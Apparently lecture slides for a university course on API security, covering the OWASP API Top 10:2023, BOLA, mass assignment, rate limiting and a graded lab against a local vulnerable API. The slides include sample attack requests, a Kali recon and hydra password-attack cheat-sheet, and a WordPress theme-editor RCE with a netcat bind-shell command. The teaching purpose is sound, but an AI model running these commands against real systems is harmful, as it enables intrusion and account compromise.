API Security
Software Security · Nutthakorn Chalaemwongwan
Today
- REST/GraphQL attack surface
- OWASP API Security Top 10
- BOLA & mass assignment
- Rate limiting & resource consumption
- 🎮 Game: crAPI Raid
Recap — Web half
- Injection, XSS, auth/IDOR
- APIs concentrate all of these — and add their own
Why APIs are different
- Machine-to-machine, no browser to "protect" them
- Object IDs everywhere → ripe for IDOR/BOLA
- Clients can send any field → mass assignment
- Maps to the OWASP API Security Top 10:2023 (still current — no 2025 revision)
BOLA (API1) — the #1 API risk
GET /api/users/2/orders → bob's orders — while authenticated as alice
- Broken Object Level Authorization = IDOR, at API scale
- The catch: the vulnerable endpoint doesn't check ownership at all — it hands back whatever
<id>'s orders you ask for, full stop. There's no spoofable-but-present check to defeat; there's no check. (TheX-User-Idheader exists as this lab's stand-in for "auth," but on this route the code never even reads it.)
Mass assignment (API3)
POST /api/users { "username":"x", "password":"y", "is_admin":true, "balance":9999 }
- Client sets fields the server blindly binds (
user.update(body)— no allow-list) - Privilege/balance escalation, right at account creation
More of the Top 10
- API2 — broken authentication (this week's
X-User-Idheader trick is a live example) - API4 — unrestricted resource consumption: no rate limit on
/api/login→ today's third graded bug (5 failed attempts, then 429) - API6 — unrestricted access to sensitive business flows
- Under 2023's taxonomy, "excessive data exposure" isn't its own number — it's folded into API3 BOPLA alongside mass assignment (you may see it listed separately elsewhere, incl. crAPI's own docs — that's the older 2019 split)
Defenses
- Object-level authorization on every request (check ownership)
- Allow-list request schemas — bind only intended fields
- Rate limiting / quotas
- Return only needed fields (DTOs)
- Schema validation (OpenAPI / GraphQL types)
Complementary: black-box recon cheat-sheet
When you only have an IP/URL (Kali):
netdiscover # find hosts
nmap -sV target # ports/services (80/443?)
nikto -h http://target # web server issues
dirb http://target # hidden paths
wpscan --url http://target # if WordPress
hydra ... http-post-form # password attack
General awareness — no worksheet task uses these against today's target; useful for the CTF weeks later in the term.
Real-world: feature abused as backdoor
WordPress 404-template RCE → bind shell:
Appearance → Theme Editor → 404 Template → insert exec(...)
# trigger by visiting any non-existent page
nc -lvp 34567 -e /bin/bash # attacker gets a shell
Legitimate admin features become RCE without strict authz + integrity checks.
One API, three flaws
🥷 Today's raid — the graded target
Local API, docker compose up → :8080 (vulnerable) / :8081 (fixed):
- BOLA:
401 → 403 → 200— probe, get denied, then read another user's orders as yourself - Mass assignment: smuggle
is_admin/balanceinto account creation - Resource consumption:
401×5 → 429×2on/api/login - Defend: switch to the pre-written
solution_api.py, cite the exact fix line for each
Bonus (optional, ~20 min): crAPI — OWASP's own intentionally-vulnerable API, real GUID-based BOLA, capture-only, no fix step, no separate grade
Deliverable
📋 Worksheet 10 —
labs/week10-api-security/worksheet.md(Part 3) · kickoff:docker compose up→ :8080 (insecure) / :8081 (secure)
- Findings mapped to the API Top 10:2023 + your two personal flags (
FLAG_BOLA,FLAG_MASSASSIGN) - Fixes (authz checks, schemas, limits) — cited from
solution_api.py - Proof exploits now fail
- + Audit the AI / EiPE / Prompt Problem (see worksheet)
Key takeaways
- BOLA/IDOR is the dominant API bug — check ownership
- Bind only fields you intend
- Validate and throttle everything
Questions?
Next week: Memory-safety & exploitation